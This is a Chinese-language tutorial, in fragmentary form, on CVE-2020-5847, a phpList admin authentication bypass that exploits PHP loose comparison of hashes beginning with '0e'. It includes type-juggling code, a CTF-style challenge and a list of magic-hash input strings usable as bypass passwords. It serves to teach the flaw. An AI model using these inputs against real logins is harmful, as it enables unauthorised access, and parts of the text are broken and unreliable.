phpList 3.5.0版本存在的安全漏洞编号是CVE-2020-5847,该漏洞源于程序没有正确处理开头为0e之后全部为数字字符的哈希值。远程攻击者可利用该漏洞绕过管理员账户的身份验证。
首先下载phpList 3.5.0-RC1,然后解压找到这个目录:
config/config.php
配置文件,设置要连接的数据库和账户密码:同时建立phplistdb数据库。
访问http://127.0.0.1/phplist/admin/;
接下来初始化安装,设置管理员的账号密码:
0e
开头的字符串,如TyNOQHUS。
34250003024812
进行登录,其sha256后也是以0e
开头。“TyNOQHUS——
hash :“34250003024812——hash:
$encryptedPass
(密码sha256后的值)是使用==
来判断和数据库中的值是否一样,即$encryptedPass == $passwordDB。0exxxxx == 0eyyyyy
(会把每一个以”0e”开头的哈希值都解释为0),具体代码如下图:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0e”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么PHP将会认为他们相同,都是0。
当不同类型的变量进行比较的时候就会存在变量转换的问题,在转换之后就有可能会存在弱类型问题。例如需要将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,PHP会自动地进行变量转换。但是PHP是一个弱类型的语言,导致在进行类型转换的时候就会产生弱类型相关的漏洞。
函数转换出错时导致的弱类型问题,例如:strcmp函数参数str1不为预期的String类型时(例如数组,),在PHP 5.3版本之前将返回-1,5.3之后的版本将返回NULL。
<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
?>
wordpress_hashofurl=username|expiration|hmac
$count=$this->db->fetch_total('focus',"type=$doctype");
$count=$this->db->fetch_total('focus',"type=$doctype");
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];
if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>
md5('240610708') == md5('QNKCDZO')
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
$number == '54975581388';
s214587387a:
0e848240448830537924465865611904;
s1502113478a:
0e861580163291561247404381396064;
s1091221200a:
0e940624217856561557816327384675;
s1665632922a:
0e731198061491163073197128363787;
s1885207154a:
0e509367213418206700842008763514;
s1836677006a:
0e481036490867661113260034900752;
s1665632922a:
0e731198061491163073197128363787;
s878926199a:
0e545993274517709034328855841020;
QLTHNDT:
0e405967825401955372549139051580;
QNKCDZO:
0e830400451993494058024219903391;
EEIZDOI:
0e782601363539291779881938479162;
TUFEPMC:
0e839407194569345277863905212547;
UTIPEZQ:
0e382098788231234954670291303879;
UYXFLOI:
0e552539585246568817348686838809;
IHKFRNS:
0e256160682445802696926137988570;
240610708:
0e462097431906509019562988736854;
314282422:
0e990995504821699494520356953734;
571579406:
0e972379832854295224118025748221;
903251147:
0e174510503823932942361353209384;
1110242161:
0e435874558488625891324861198103;
1320830526:
0e912095958985483346995414060832;
1586264293:
0e622743671155995737639662718498;